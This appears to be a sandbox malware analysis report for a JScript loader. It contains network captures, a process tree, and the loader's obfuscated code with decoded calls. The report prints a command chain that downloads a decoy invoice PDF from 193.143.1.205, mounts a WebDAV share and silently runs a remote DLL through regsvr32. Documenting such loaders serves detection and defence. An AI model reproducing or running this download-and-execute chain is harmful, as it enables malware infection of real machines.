Jan 11, 2025 04:14:42.765687943 CET	1.1.1.1	192.168.2.6	0xb99c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:14:42.765687943 CET	1.1.1.1	192.168.2.6	0xb99c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	3420	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:14:31.881519079 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:14:32.653352976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:14:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:14:32.653378963 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:14:32.653392076 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:14:32.653542995 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:14:32.653553963 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:14:32.653565884 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 04:14:32.653575897 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 04:14:32.653589010 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 04:14:32.653724909 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 04:14:32.653738976 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 11, 2025 04:14:32.696554899 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	4208	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:14:34.451987982 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:14:35.238270998 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:14:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:14:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js"
Imagebase:	0x7ff70f4f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:14:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Imagebase:	0x7ff68e640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:14:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:14:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:14:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68e640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:14:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff796280000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:14:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:14:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:14:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1616,i,11305812430169056372,6185947756390858180,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function orqttbvub() {	orqttbvub() ➔ undefined
1	edtuljxus = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var htahu = this[ocndanc + tewhpk + laonhvew + vhzym + eoqektw + lnihkjh + yrdxj + vrsflwl] ( this[veemobwt + uropkftd + xqxtxyi + laonhvew + tryaecmqk + ocndanc + vrsflwl][nybjijtvp + laonhvew + eoqektw + tewhpk + vrsflwl + eoqektw + uunbqpdu + ozfvwxlep + ihqjzib + eoqektw + xqxtxyi + vrsflwl] ( veemobwt + uropkftd + xqxtxyi + laonhvew + tryaecmqk + ocndanc + vrsflwl + zhlka + uropkftd + eknqa + eoqektw + ynedpywe + ynedpywe ) [voagm + eoqektw + hwllmb + voagm + eoqektw + tewhpk + cbtpmfpcj] ( zlckrj + ylwghrwrh + ssxjh + wadojes + bxqivwqvu + nybjijtvp + itycy + voagm + voagm + ssxjh + dahkwcqk + oatqj + bxqivwqvu + itycy + uropkftd + ssxjh + voagm + ofbhdbk + nybjijtvp + jaxfqe + yrdxj + vrsflwl + laonhvew + jaxfqe + ynedpywe + gjowf + oyjja + tewhpk + yrdxj + eoqektw + ynedpywe + ofbhdbk + lnihkjh + yrdxj + vrsflwl + eoqektw + laonhvew + yrdxj + tewhpk + vrsflwl + tryaecmqk + jaxfqe + yrdxj + tewhpk + ynedpywe + ofbhdbk + ojgdiay + jaxfqe + xqxtxyi + tewhpk + ynedpywe + eoqektw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zyszyfvjh = 0 ; zyszyfvjh < edtuljxus[ynedpywe + eoqektw + yrdxj + hwllmb + vrsflwl + eknqa] ; ++ zyszyfvjh )
4	{
5	if ( htahu == edtuljxus[zyszyfvjh] )
6	{
7	htahu = true;
8	break ;
9	}
10	}
11	if ( htahu !== true )
12	this[veemobwt + uropkftd + xqxtxyi + laonhvew + tryaecmqk + ocndanc + vrsflwl][inxrnsx + bzibbhslj + tryaecmqk + vrsflwl] ( );
13	this[veemobwt + uropkftd + xqxtxyi + laonhvew + tryaecmqk + ocndanc + vrsflwl][nybjijtvp + laonhvew + eoqektw + tewhpk + vrsflwl + eoqektw + uunbqpdu + ozfvwxlep + ihqjzib + eoqektw + xqxtxyi + vrsflwl] ( veemobwt + uropkftd + xqxtxyi + laonhvew + tryaecmqk + ocndanc + vrsflwl + zhlka + uropkftd + eknqa + eoqektw + ynedpywe + ynedpywe ) [laonhvew + bzibbhslj + yrdxj] ( xqxtxyi + bmgdyba + cbtpmfpcj + gjowf + yqbnonrec + xqxtxyi + gjowf + ocndanc + jaxfqe + epogoel + eoqektw + laonhvew + vhzym + eknqa + eoqektw + ynedpywe + ynedpywe + zhlka + eoqektw + jicom + eoqektw + gjowf + gmwenhznp + nybjijtvp + jaxfqe + bmgdyba + bmgdyba + tewhpk + yrdxj + cbtpmfpcj + gjowf + isuyjhlu + lnihkjh + yrdxj + pmdupr + jaxfqe + hogex + eoqektw + gmwenhznp + veemobwt + eoqektw + ozfvwxlep + voagm + eoqektw + tclop + bzibbhslj + eoqektw + vhzym + vrsflwl + gjowf + gmwenhznp + uunbqpdu + bzibbhslj + vrsflwl + axeytqfed + tryaecmqk + ynedpywe + eoqektw + gjowf + dcrkrw + vrsflwl + eoqektw + bmgdyba + ocndanc + dcrkrw + ofbhdbk + tryaecmqk + yrdxj + pmdupr + jaxfqe + tryaecmqk + xqxtxyi + eoqektw + zhlka + ocndanc + cbtpmfpcj + ynieb + gjowf + eknqa + vrsflwl + vrsflwl + ocndanc + psdjc + yqbnonrec + yqbnonrec + fhdfqryi + nwxxyyhjm + zyjato + zhlka + fhdfqryi + kwsiawxx + zyjato + zhlka + fhdfqryi + zhlka + xolvtd + vmahefv + ledrayfl + yqbnonrec + tryaecmqk + yrdxj + pmdupr + jaxfqe + tryaecmqk + xqxtxyi + eoqektw + zhlka + ocndanc + eknqa + ocndanc + isuyjhlu + zajeh + zajeh + vhzym + vrsflwl + tewhpk + laonhvew + vrsflwl + gjowf + dcrkrw + vrsflwl + eoqektw + bmgdyba + ocndanc + dcrkrw + ofbhdbk + tryaecmqk + yrdxj + pmdupr + jaxfqe + tryaecmqk + xqxtxyi + eoqektw + zhlka + ocndanc + cbtpmfpcj + ynieb + zajeh + zajeh + xqxtxyi + bmgdyba + cbtpmfpcj + gjowf + yqbnonrec + xqxtxyi + gjowf + yrdxj + eoqektw + vrsflwl + gjowf + bzibbhslj + vhzym + eoqektw + gjowf + ofbhdbk + ofbhdbk + fhdfqryi + nwxxyyhjm + zyjato + zhlka + fhdfqryi + kwsiawxx + zyjato + zhlka + fhdfqryi + zhlka + xolvtd + vmahefv + ledrayfl + dxygghyay + rowoea + rowoea + rowoea + rowoea + ofbhdbk + cbtpmfpcj + tewhpk + pmdupr + epogoel + epogoel + epogoel + laonhvew + jaxfqe + jaxfqe + vrsflwl + ofbhdbk + zajeh + zajeh + xqxtxyi + bmgdyba + cbtpmfpcj + gjowf + yqbnonrec + xqxtxyi + gjowf + laonhvew + eoqektw + hwllmb + vhzym + pmdupr + laonhvew + zyjato + xolvtd + gjowf + yqbnonrec + vhzym + gjowf + ofbhdbk + ofbhdbk + fhdfqryi + nwxxyyhjm + zyjato + zhlka + fhdfqryi + kwsiawxx + zyjato + zhlka + fhdfqryi + zhlka + xolvtd + vmahefv + ledrayfl + dxygghyay + rowoea + rowoea + rowoea + rowoea + ofbhdbk + cbtpmfpcj + tewhpk + pmdupr + epogoel + epogoel + epogoel + laonhvew + jaxfqe + jaxfqe + vrsflwl + ofbhdbk + xolvtd + fhdfqryi + ledrayfl + kupnc + xolvtd + fhdfqryi + zyjato + fhdfqryi + kupnc + tndyy + xolvtd + kupnc + tndyy + tndyy + fhdfqryi + zhlka + cbtpmfpcj + ynedpywe + ynedpywe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll",0,false) ➔ 0
14	}
15	lnihkjh = "v";
16	lnihkjh = "J";
17	lnihkjh = "l";
18	lnihkjh = "h";
19	lnihkjh = "U";
20	lnihkjh = "I";
21	zyjato = "s";
22	zyjato = "T";
23	zyjato = "w";
24	zyjato = "U";
25	zyjato = "D";
26	zyjato = "O";
27	zyjato = "J";
28	zyjato = "t";
29	zyjato = "M";
30	zyjato = "f";
31	zyjato = "V";
32	zyjato = "r";
33	zyjato = "b";
34	zyjato = "b";
35	zyjato = "3";
36	dahkwcqk = "F";
37	dahkwcqk = "n";
38	dahkwcqk = "C";
39	dahkwcqk = "C";
40	dahkwcqk = "O";
41	dahkwcqk = "V";
42	dahkwcqk = "S";
43	dahkwcqk = "p";
44	dahkwcqk = "J";
45	dahkwcqk = "O";
46	dahkwcqk = "c";
47	dahkwcqk = "U";
48	dahkwcqk = "y";
49	dahkwcqk = "b";
50	dahkwcqk = "z";
51	dahkwcqk = "z";
52	dahkwcqk = "P";
53	dahkwcqk = "h";
54	dahkwcqk = "u";
55	dahkwcqk = "A";
56	dahkwcqk = "O";
57	dahkwcqk = "n";
58	dahkwcqk = "m";
59	dahkwcqk = "x";
60	dahkwcqk = "F";
61	dahkwcqk = "u";
62	dahkwcqk = "V";
63	dahkwcqk = "I";
64	dahkwcqk = "E";
65	dahkwcqk = "V";
66	dahkwcqk = "L";
67	dahkwcqk = "H";
68	dahkwcqk = "N";
69	ojgdiay = "e";
70	ojgdiay = "G";
71	ojgdiay = "R";
72	ojgdiay = "A";
73	ojgdiay = "U";
74	ojgdiay = "G";
75	ojgdiay = "z";
76	ojgdiay = "B";
77	ojgdiay = "G";
78	ojgdiay = "E";
79	ojgdiay = "L";
80	ojgdiay = "V";
81	ojgdiay = "D";
82	ojgdiay = "N";
83	ojgdiay = "p";
84	ojgdiay = "b";
85	ojgdiay = "p";
86	ojgdiay = "U";
87	ojgdiay = "L";
88	zlckrj = "P";
89	zlckrj = "V";
90	zlckrj = "W";
91	zlckrj = "H";
92	wadojes = "Y";
93	ylwghrwrh = "d";
94	ylwghrwrh = "i";
95	ylwghrwrh = "W";
96	ylwghrwrh = "m";
97	ylwghrwrh = "U";
98	ylwghrwrh = "r";
99	ylwghrwrh = "e";
100	ylwghrwrh = "L";
101	ylwghrwrh = "T";
102	ylwghrwrh = "F";
103	ylwghrwrh = "y";
104	ylwghrwrh = "N";
105	ylwghrwrh = "d";
106	ylwghrwrh = "W";
107	ylwghrwrh = "T";
108	ylwghrwrh = "Y";
109	ylwghrwrh = "K";
110	pmdupr = "f";
111	pmdupr = "s";
112	pmdupr = "D";
113	pmdupr = "H";
114	pmdupr = "x";
115	pmdupr = "p";
116	pmdupr = "j";
117	pmdupr = "y";
118	pmdupr = "h";
119	pmdupr = "T";
120	pmdupr = "a";
121	pmdupr = "V";
122	pmdupr = "o";
123	pmdupr = "X";
124	pmdupr = "k";
125	pmdupr = "H";
126	pmdupr = "K";
127	pmdupr = "v";
128	vmahefv = "v";
129	vmahefv = "R";
130	vmahefv = "X";
131	vmahefv = "B";
132	vmahefv = "e";
133	vmahefv = "b";
134	vmahefv = "l";
135	vmahefv = "m";
136	vmahefv = "I";
137	vmahefv = "P";
138	vmahefv = "p";
139	vmahefv = "z";
140	vmahefv = "S";
141	vmahefv = "x";
142	vmahefv = "Y";
143	vmahefv = "z";
144	vmahefv = "t";
145	vmahefv = "i";
146	vmahefv = "W";
147	vmahefv = "D";
148	vmahefv = "G";
149	vmahefv = "e";
150	vmahefv = "M";
151	vmahefv = "q";
152	vmahefv = "I";
153	vmahefv = "i";
154	vmahefv = "W";
155	vmahefv = "0";
156	xolvtd = "x";
157	xolvtd = "z";
158	xolvtd = "X";
159	xolvtd = "l";
160	xolvtd = "F";
161	xolvtd = "T";
162	xolvtd = "q";
163	xolvtd = "U";
164	xolvtd = "L";
165	xolvtd = "u";
166	xolvtd = "O";
167	xolvtd = "b";
168	xolvtd = "R";
169	xolvtd = "K";
170	xolvtd = "a";
171	xolvtd = "g";
172	xolvtd = "t";
173	xolvtd = "j";
174	xolvtd = "2";
175	gmwenhznp = "C";
176	gmwenhznp = "k";
177	gmwenhznp = "Z";
178	gmwenhznp = "z";
179	gmwenhznp = "D";
180	gmwenhznp = "z";
181	gmwenhznp = "A";
182	gmwenhznp = "j";
183	gmwenhznp = "V";
184	gmwenhznp = "b";
185	gmwenhznp = "P";
186	gmwenhznp = "s";
187	gmwenhznp = "f";
188	gmwenhznp = "Q";
189	gmwenhznp = "Z";
190	gmwenhznp = "n";
191	gmwenhznp = "I";
192	gmwenhznp = "m";
193	gmwenhznp = "o";
194	gmwenhznp = "j";
195	gmwenhznp = "u";
196	gmwenhznp = "v";
197	gmwenhznp = "f";
198	gmwenhznp = "F";
199	gmwenhznp = "M";
200	gmwenhznp = "k";
201	gmwenhznp = "S";
202	gmwenhznp = "Q";
203	gmwenhznp = "r";
204	gmwenhznp = "r";
205	gmwenhznp = "j";
206	gmwenhznp = "s";
207	gmwenhznp = "E";
208	gmwenhznp = "W";
209	gmwenhznp = "d";
210	gmwenhznp = "w";
211	gmwenhznp = "D";
212	gmwenhznp = "S";
213	gmwenhznp = "m";
214	gmwenhznp = "P";
215	gmwenhznp = "X";
216	gmwenhznp = "j";
217	gmwenhznp = "U";
218	gmwenhznp = "O";
219	gmwenhznp = "-";
220	jaxfqe = "y";
221	jaxfqe = "Y";
222	jaxfqe = "D";
223	jaxfqe = "D";
224	jaxfqe = "Q";
225	jaxfqe = "o";
226	jaxfqe = "j";
227	jaxfqe = "q";
228	jaxfqe = "X";
229	jaxfqe = "s";
230	jaxfqe = "s";
231	jaxfqe = "F";
232	jaxfqe = "h";
233	jaxfqe = "S";
234	jaxfqe = "X";
235	jaxfqe = "Z";
236	jaxfqe = "t";
237	jaxfqe = "p";
238	jaxfqe = "F";
239	jaxfqe = "q";
240	jaxfqe = "N";
241	jaxfqe = "D";
242	jaxfqe = "D";
243	jaxfqe = "o";
244	hogex = "h";
245	hogex = "C";
246	hogex = "x";
247	hogex = "E";
248	hogex = "R";
249	hogex = "s";
250	hogex = "S";
251	hogex = "R";
252	hogex = "z";
253	hogex = "P";
254	hogex = "P";
255	hogex = "A";
256	hogex = "Q";
257	hogex = "Z";
258	hogex = "l";
259	hogex = "N";
260	hogex = "o";
261	hogex = "O";
262	hogex = "h";
263	hogex = "L";
264	hogex = "s";
265	hogex = "c";
266	hogex = "k";
